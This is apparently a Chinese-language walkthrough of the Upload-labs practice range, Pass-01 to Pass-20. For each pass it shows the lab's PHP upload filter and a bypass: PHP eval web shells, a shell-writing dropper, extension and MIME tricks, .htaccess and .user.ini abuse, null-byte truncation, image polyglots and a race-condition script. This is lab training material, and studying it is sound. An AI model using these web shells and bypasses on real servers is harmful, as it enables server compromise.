非常经典的靶场,包含了比较详细的文件上传绕过手法
Upload-labs靶场 Pass-01 方法一 创建1.txt
,写入一句话木马
1 <?php @eval($_POST['shell']);?>
由于打开页面源代码,发现上传的文件类型有限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
所以我们修改文件后缀为jpg
上传图片马,bp抓包修改.jpg
为.php
上传成功后,打开蚁剑连接../upload/1.php
然后getshell
成功
方法二
绕过js前端检测
我们已经知道会对上传文件进行检测
我们F12,找到checkFile()
的方法调用处
然后删掉即可绕过检测(或者将checkFile()
改为Ture
)
现在可以正常上传.php
文件,然后蚁剑连接
然后getshell
成功
Pass-02 方法一 同Pass-01
方法一相同
(图片马直接过)
方法二
绕过MIME检测
查看后端源代码,发现只对MIME类型进行检测
我们创建1.php
,写入一句话木马
1 <?php @eval($_POST['shell']);?>
上传,bp抓包修改MIME的application/octet-stream
为image/jpeg
蚁剑连接,getshell
成功
Pass-03 老样子传图片马,发现失败
查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
结合源代码分析,1.php.
,1.Php
,1.php(空格)
,1.php::$DATA
,1.php.aa
均无法上传成功
那么我们可以上传1.php
后,抓包改为1.php3
,上传成功
由于phpstudy
新版本没有TS,所以无法解析上传的php3文件(被当作文本)
反正是成功绕过
Pass-04 查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
发现相比于第三关黑名单多了很多,这次不能用php
版本绕过
那么可以用.htaccess
配置文件攻击
先打开配置文件
启用AllowOverride
创建.htaccess
文件,写入
1 2 3 <FilesMatch '1.jpg'> SetHandler application/x-httpd-php </FilesMatch>
上传后可以匹配到1.jpg
,然后被当成php
文件解析
我们先上传.htaccess
文件
上传成功后,再上传1.jpg
由于phpstudy
是新版本,对.htaccess
支持存在问题,会出现返回值为空
也就是说.htaccess
文件没有上传成功(算是getshell
,就是有点无语。。)
Pass-05 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
发现.htaccess文件被办了
发现.ini
文件没有被禁用,又因为提示上传目录存在php文件(readme.php)
我们可以上传.ini
文件,让所有php文件
都“自动”包含某个文件(比如一句话木马)
不过前提是含有.user.ini
的文件夹下需要有正常的php文件
创建.user.ini
上传成功后,再上传1.jpg
我们再访问../upload/readme.php
(因为我们的一句话木马包含在readme.php
)
成功getshell
Pass-06 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
.ini
被办了,直接卡住。。
仔细发现过滤条件少了大小写转换
结合黑名单,我们可以上传.Php
文件绕过
上传成功
出现服务器配置问题,有点无语
Pass-07 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
发现过滤条件少了去空格
思路很清晰,bp抓包手动添加空格(重命名windows系统会吞掉空格 )
上传1.php
文件,添加空格
成功绕过
Pass-08 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
相比于前几关,发现过滤少了去除.
那么我们可以用1.php.
绕过
bp抓包手动添加.
访问../upload/1.php.
,成功绕过
Pass-09 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
相比于前一关,发现少了过滤条件去除字符串::$DATA
::$DATA
是一个流传输,可以把后面的数据当成流处理和.
,(空格)
类似
那么我们可以先上传1.php
然后抓包手动添加::$DATA
访问../upload/202307160004185100.php
,成功绕过
(注意访问路径不带有::$DATA
)
Pass-10 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
根据提示,发现只允许上传.jpg|.png|.gif后缀的文件!
但是.htaccess
,.ini
文件都被办了
结合deldot函数
,我们可以上传1.php. .
绕过
因为deldot函数
从后往前检测,检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
这样我们既绕过了去除点号,也绕过了去除空格
bp抓包,手动修改
访问../upload/1.php.(空格)
,成功绕过
Pass-11 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
发现过滤条件会根据黑名单,把我们上传不合格的文件名删掉
1 $file_name = str_ireplace($deny_ext,"", $file_name);
那么我们可以双写绕过,直接上传1.pphphp
成功绕过
Pass-12 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
观察源代码,发现多了一个GET参数save_path
,这是我们上传文件的路径
说明我们可以控制我们上传文件的保存路径
move_uploaded_file($temp_file,$img_path)
是移动文件的函数
我们上传1.php
,路径为../upload/
由于对文件后缀有检测
我们抓包修改文件后缀
我们在修改上传路径为../upload/1.php%00
因为当程序检测后缀合法后,通过拼接路径和文件名来保存上传的文件
原本的拼接结果为../uploads/1.php%00/9820230717123050.jpg
由于截断字符,移动文件的时候会将文件保存为../uploads/1.php
,从而达到getshell
(这里php
版本不满足要求,所以magic_quotes_gpc
找不到,也就无法上传成功)
Pass-13 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
和第十二关类似,不过上传路径变为POST传参
先上传1.php
,然后抓包修改后缀绕过
然后修改POST参数为../upload/1.phpa
点开Hex,找到我们标记的a,修改为00
因为在Hex中改成00后,得到的结果是一个ASCII码为0的字符,也就是null字符或空字符。
在URL编码中,null字符会被替换为%00,从而达到截断效果
因为php
版本问题,和第十二关一样
Pass-14 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
分析源代码,发现会检查上传文件的开头2个字节
那么我们既要绕过文件后缀名检测,也要绕过文件头检测
我们创建1.php
,写入
然后修改后缀为.gif
上传抓包,手动添加绕过
题目告诉我们可以结合文件包含漏洞,点开查看源代码
要利用include函数去文件包含,才能解析木马的执行
(上述页面存在文件包含漏洞)
Pass-15 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
方法和第十四关相同
Pass-16 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
方法和第十四关相同
Pass-17 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
考点是二次渲染,网站展示的是经过二次渲染后的
我们上传的文件得为.jpg
,.png
,.gif
之一
gif二次渲染容易,我们用准备好的图片马上传,然后下载下来
拉到010里面对比两张图片相同的地方,即未被二次渲染修改
打开比较文件
找到相同地方,说明没被二次渲染
在其中插入一句话木马或getshell
然后再重新上传
发现被重命名了(当然可以抓包看上传成功后的URL,懒得打开bp了)
成功访问有文件包含漏洞的URL
Pass-18 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
分析一下,发现先对我们上传的文件进行白名单检测,然后会对上传文件重命名,如果不符合,unlink()
会删除该文件
也就是说如果我们要传图片马绕过,得要有文件包含漏洞。显然这一关没有,那么我们传的图片马就解析不了,那么就只能传一句话木马
我们可以利用条件竞争上传,因为代码执行的过程是需要耗费时间的,我们只要在上传的一句话被删除之前访问就行了
可以利用burp多线程发包 ,然后不断在浏览器访问我们的webshell
,会有一瞬间的访问成功。
创建1.php
,写入微调后的一句话木马
1 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
作用:一旦访问到该文件就会在当前目录下生成一个shell.php
的一句话
上传bp抓包,清除payload
改为Null payload
,设置无限重复
然后写py脚本,通过它来不停的访问我们上传上去的PHP文件
现在bp开始攻击
在bp攻击的同时,运行脚本,当出现OK
时说明访问到了该文件
那么我们的一句话木马被成功解析,然后蚁剑连接
(注意连接的是我们在当前目录写的shell.php
)
成功getshell
Pass-19 此题要修改下文件
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
相比于前一关多了对后缀名检测,所以我们只能传图片马,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其
他漏洞,比如文件包含,apache
解析漏洞等。
此题可以结合文件包含漏洞
先创建2.php
,写入一句话木马
1 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>
利用cmd命令合成图片马
上传图片马,然后流程跟第十八关类似
不过要修改脚本,因为是结合文件上传漏洞
1 2 3 4 5 6 7 import requests url = "http://upload-labs-master/include.php?file=upload/3.png" while True: html = requests.get(url) if ( 'Warning' not in str(html.text)): print('ok') break
bp开始攻击
攻击时运行脚本
然后蚁剑连接
(注意URL,因为我们修改文件,保存的位置是在根目录)
Pass-20 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
分析源代码,首先会对文件名后缀检测,上传文件类型不能在黑名单中
然后通过pathinfo()
内置函数,$file_ext
变量将包含$file_name
中的文件扩展名(不包括点号)
然后拼接路径$img_path = UPLOAD_PATH . '/' .$file_name;
方法一(文件夹名欺骗绕过) 由于题目的保存文件名是可控的
我们可以借助move_uploaded_file()
的特性会忽略掉文件末尾的 /
来进行绕过
(即保存的文件名可以为upload-19.php/.
)
我们上传php文件
的一句话木马
抓包,修改两个位置绕过检测
成功getshell
(注意URL末尾没有.
)
当然,保存的文件名可以为upload-19.php.
也能绕过
方法二(%00截断攻击) 文件保存为upload-19.php%00.jpg
